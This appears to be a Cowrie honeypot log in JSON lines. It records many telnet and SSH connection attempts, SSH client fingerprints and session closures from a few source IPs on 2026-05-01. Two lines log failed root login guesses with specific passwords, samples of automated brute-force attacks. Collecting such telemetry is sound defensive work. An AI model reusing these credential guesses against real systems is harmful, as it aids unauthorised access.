{"eventid":"cowrie.session.closed","duration":30.132362127304077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:19.065801Z","src_ip":"213.171.199.40","session":"4d5bf8ba61c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949151277542114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:19.087687Z","src_ip":"213.171.199.40","session":"7b9cfabb766f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":59278,"dst_ip":"159.203.135.109","dst_port":23,"session":"da60138a8ec6","protocol":"telnet","message":"New connection: 213.171.199.40:59278 (159.203.135.109:23) [session: da60138a8ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:19.238060Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":59426,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a1158aa5637","protocol":"telnet","message":"New connection: 213.171.199.40:59426 (159.203.135.109:23) [session: 5a1158aa5637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:19.284716Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":60464,"dst_ip":"159.203.135.109","dst_port":23,"session":"36cca6fdc104","protocol":"telnet","message":"New connection: 213.171.199.40:60464 (159.203.135.109:23) [session: 36cca6fdc104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:19.564705Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36246,"dst_ip":"159.203.135.109","dst_port":23,"session":"25fba5e409db","protocol":"telnet","message":"New connection: 213.171.199.40:36246 (159.203.135.109:23) [session: 25fba5e409db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:20.812267Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36268,"dst_ip":"159.203.135.109","dst_port":23,"session":"5035cca14429","protocol":"telnet","message":"New connection: 213.171.199.40:36268 (159.203.135.109:23) [session: 5035cca14429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:20.827247Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33320,"dst_ip":"159.203.135.109","dst_port":23,"session":"30e1efca4161","protocol":"telnet","message":"New connection: 213.171.199.40:33320 (159.203.135.109:23) [session: 30e1efca4161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:20.886278Z"}
{"eventid":"cowrie.session.closed","duration":30.456531286239624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:22.185701Z","src_ip":"213.171.199.40","session":"28c166913635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41328,"dst_ip":"159.203.135.109","dst_port":23,"session":"40c68c9d60f9","protocol":"telnet","message":"New connection: 213.171.199.40:41328 (159.203.135.109:23) [session: 40c68c9d60f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:22.306983Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41998,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbc72e9aeaa5","protocol":"telnet","message":"New connection: 213.171.199.40:41998 (159.203.135.109:23) [session: dbc72e9aeaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:22.462284Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37850,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba42ec53105e","protocol":"telnet","message":"New connection: 45.63.42.31:37850 (10.17.0.5:23) [session: ba42ec53105e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:22.618752Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":44578,"dst_ip":"159.203.135.109","dst_port":23,"session":"610aa0bd133a","protocol":"telnet","message":"New connection: 213.171.199.40:44578 (159.203.135.109:23) [session: 610aa0bd133a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:23.247762Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40996,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eb87b1b051d","protocol":"telnet","message":"New connection: 45.63.42.31:40996 (10.17.0.5:23) [session: 1eb87b1b051d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:23.339823Z"}
{"eventid":"cowrie.session.closed","duration":33.3528573513031,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:23.752961Z","src_ip":"45.63.42.31","session":"38b0c1fd5718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":47912,"dst_ip":"159.203.135.109","dst_port":23,"session":"31977858a218","protocol":"telnet","message":"New connection: 213.171.199.40:47912 (159.203.135.109:23) [session: 31977858a218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:24.212562Z"}
{"eventid":"cowrie.session.closed","duration":30.195470094680786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:25.075527Z","src_ip":"213.171.199.40","session":"ee98d3d551bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":51056,"dst_ip":"159.203.135.109","dst_port":23,"session":"f01bfbed3a39","protocol":"telnet","message":"New connection: 213.171.199.40:51056 (159.203.135.109:23) [session: f01bfbed3a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:25.151024Z"}
{"eventid":"cowrie.session.closed","duration":35.46445035934448,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:25.186277Z","src_ip":"45.63.42.31","session":"bd92087384f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":56564,"dst_ip":"159.203.135.109","dst_port":23,"session":"1274d0d71639","protocol":"telnet","message":"New connection: 213.171.199.40:56564 (159.203.135.109:23) [session: 1274d0d71639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:27.691333Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":50632,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7ea251e6245","protocol":"telnet","message":"New connection: 213.171.199.40:50632 (159.203.135.109:23) [session: e7ea251e6245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:28.029764Z"}
{"eventid":"cowrie.session.closed","duration":30.741912603378296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:28.096717Z","src_ip":"213.171.199.40","session":"9a62a967300c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815654277801514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:28.160903Z","src_ip":"213.171.199.40","session":"adaf0e670c11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642332077026367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:29.248025Z","src_ip":"213.171.199.40","session":"67bdd9eb736f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.371826648712158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:30.040121Z","src_ip":"213.171.199.40","session":"3e4a09b27477","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39108,"dst_ip":"159.203.135.109","dst_port":23,"session":"348fbdb24815","protocol":"telnet","message":"New connection: 213.171.199.40:39108 (159.203.135.109:23) [session: 348fbdb24815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:30.189685Z"}
{"eventid":"cowrie.session.closed","duration":31.134435176849365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:30.227853Z","src_ip":"213.171.199.40","session":"10c8b9b97d3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":40350,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9bad6f0b965","protocol":"telnet","message":"New connection: 213.171.199.40:40350 (159.203.135.109:23) [session: c9bad6f0b965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:30.584713Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":42062,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f6405f041a5","protocol":"ssh","message":"New connection: 5.182.83.231:42062 (10.17.0.5:22) [session: 5f6405f041a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:31.003483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:31.010823Z","src_ip":"5.182.83.231","session":"5f6405f041a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41778,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf4724de20ee","protocol":"telnet","message":"New connection: 213.171.199.40:41778 (159.203.135.109:23) [session: cf4724de20ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:31.048806Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:31.133447Z","src_ip":"5.182.83.231","session":"5f6405f041a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.920273780822754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:31.200804Z","src_ip":"213.171.199.40","session":"79ac14303bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":43128,"dst_ip":"159.203.135.109","dst_port":23,"session":"b10ecf974383","protocol":"telnet","message":"New connection: 213.171.199.40:43128 (159.203.135.109:23) [session: b10ecf974383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:31.480624Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ys@123456","message":"login attempt [root/Ys@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:31.661668Z","src_ip":"5.182.83.231","session":"5f6405f041a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.199183464050293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:31.829654Z","src_ip":"213.171.199.40","session":"052b65ff6766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62327003479004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:32.064321Z","src_ip":"213.171.199.40","session":"21b1f0b6ada9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.467265844345093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:32.106131Z","src_ip":"213.171.199.40","session":"ba28891cde5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.367340326309204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:32.271231Z","src_ip":"213.171.199.40","session":"5a5d530e533d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46536,"dst_ip":"159.203.135.109","dst_port":23,"session":"08f1bcc838af","protocol":"telnet","message":"New connection: 213.171.199.40:46536 (159.203.135.109:23) [session: 08f1bcc838af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:32.482717Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:32.782226Z","src_ip":"5.182.83.231","session":"5f6405f041a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":47956,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ddb6f91ca65","protocol":"telnet","message":"New connection: 213.171.199.40:47956 (159.203.135.109:23) [session: 8ddb6f91ca65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:32.915354Z"}
{"eventid":"cowrie.session.closed","duration":30.45258927345276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:33.109565Z","src_ip":"213.171.199.40","session":"129cdad11b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97942328453064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:34.064113Z","src_ip":"213.171.199.40","session":"a150681aae25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":53850,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa379cb9d39","protocol":"telnet","message":"New connection: 213.171.199.40:53850 (159.203.135.109:23) [session: eaa379cb9d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:34.837049Z"}
{"eventid":"cowrie.session.closed","duration":36.706321239471436,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:34.935186Z","src_ip":"45.63.42.31","session":"d0de828e0950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":55566,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec394ea47bad","protocol":"telnet","message":"New connection: 213.171.199.40:55566 (159.203.135.109:23) [session: ec394ea47bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:35.385061Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58460,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e0fbfbbedd2","protocol":"telnet","message":"New connection: 213.171.199.40:58460 (159.203.135.109:23) [session: 9e0fbfbbedd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:36.437185Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":60148,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff256493147","protocol":"telnet","message":"New connection: 213.171.199.40:60148 (159.203.135.109:23) [session: bff256493147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:36.966020Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":37512,"dst_ip":"159.203.135.109","dst_port":23,"session":"14be143327d9","protocol":"telnet","message":"New connection: 213.171.199.40:37512 (159.203.135.109:23) [session: 14be143327d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:38.811739Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":37768,"dst_ip":"159.203.135.109","dst_port":23,"session":"994c3f907750","protocol":"telnet","message":"New connection: 213.171.199.40:37768 (159.203.135.109:23) [session: 994c3f907750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:38.913577Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":38620,"dst_ip":"159.203.135.109","dst_port":23,"session":"66b1019f08c9","protocol":"telnet","message":"New connection: 213.171.199.40:38620 (159.203.135.109:23) [session: 66b1019f08c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:39.203212Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39198,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ff16f04c5c5","protocol":"telnet","message":"New connection: 213.171.199.40:39198 (159.203.135.109:23) [session: 5ff16f04c5c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:39.389546Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41056,"dst_ip":"159.203.135.109","dst_port":23,"session":"996b83119ffd","protocol":"telnet","message":"New connection: 213.171.199.40:41056 (159.203.135.109:23) [session: 996b83119ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:39.958171Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41828,"dst_ip":"159.203.135.109","dst_port":23,"session":"bebe0d4f324b","protocol":"telnet","message":"New connection: 213.171.199.40:41828 (159.203.135.109:23) [session: bebe0d4f324b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:40.221753Z"}
{"eventid":"cowrie.session.closed","duration":30.66797685623169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:41.160813Z","src_ip":"213.171.199.40","session":"30750a0f18ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583863735198975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:41.220414Z","src_ip":"213.171.199.40","session":"2606ce6801bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45764,"dst_ip":"159.203.135.109","dst_port":23,"session":"b02fbc620ef6","protocol":"telnet","message":"New connection: 213.171.199.40:45764 (159.203.135.109:23) [session: b02fbc620ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:41.468286Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45858,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5ffe8945bf8","protocol":"telnet","message":"New connection: 213.171.199.40:45858 (159.203.135.109:23) [session: a5ffe8945bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:41.497475Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":52424,"dst_ip":"10.17.0.5","dst_port":22,"session":"5147bdf4296d","protocol":"ssh","message":"New connection: 107.173.55.151:52424 (10.17.0.5:22) [session: 5147bdf4296d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:41.769056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:41.783293Z","src_ip":"107.173.55.151","session":"5147bdf4296d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:41.798471Z","src_ip":"107.173.55.151","session":"5147bdf4296d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.471603393554688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:41.869596Z","src_ip":"213.171.199.40","session":"d7ef252eb350","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword_123","message":"login attempt [root/P@ssword_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:41.913226Z","src_ip":"107.173.55.151","session":"5147bdf4296d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.276339292526245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:42.082096Z","src_ip":"213.171.199.40","session":"de1bf58d8ba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:42.944140Z","src_ip":"107.173.55.151","session":"5147bdf4296d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.096267223358154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:43.061094Z","src_ip":"213.171.199.40","session":"bef32c8e6edf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.982560873031616,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:43.199067Z","src_ip":"45.63.42.31","session":"bd141cfb61bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":52270,"dst_ip":"159.203.135.109","dst_port":23,"session":"567dbf44413f","protocol":"telnet","message":"New connection: 213.171.199.40:52270 (159.203.135.109:23) [session: 567dbf44413f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:43.387496Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":52536,"dst_ip":"159.203.135.109","dst_port":23,"session":"668c235c13a4","protocol":"telnet","message":"New connection: 213.171.199.40:52536 (159.203.135.109:23) [session: 668c235c13a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:43.465284Z"}
{"eventid":"cowrie.session.closed","duration":30.3718318939209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:44.146478Z","src_ip":"213.171.199.40","session":"8f07042710f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73296332359314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:45.987644Z","src_ip":"213.171.199.40","session":"2bc39adc1b52","protocol":"telnet"}
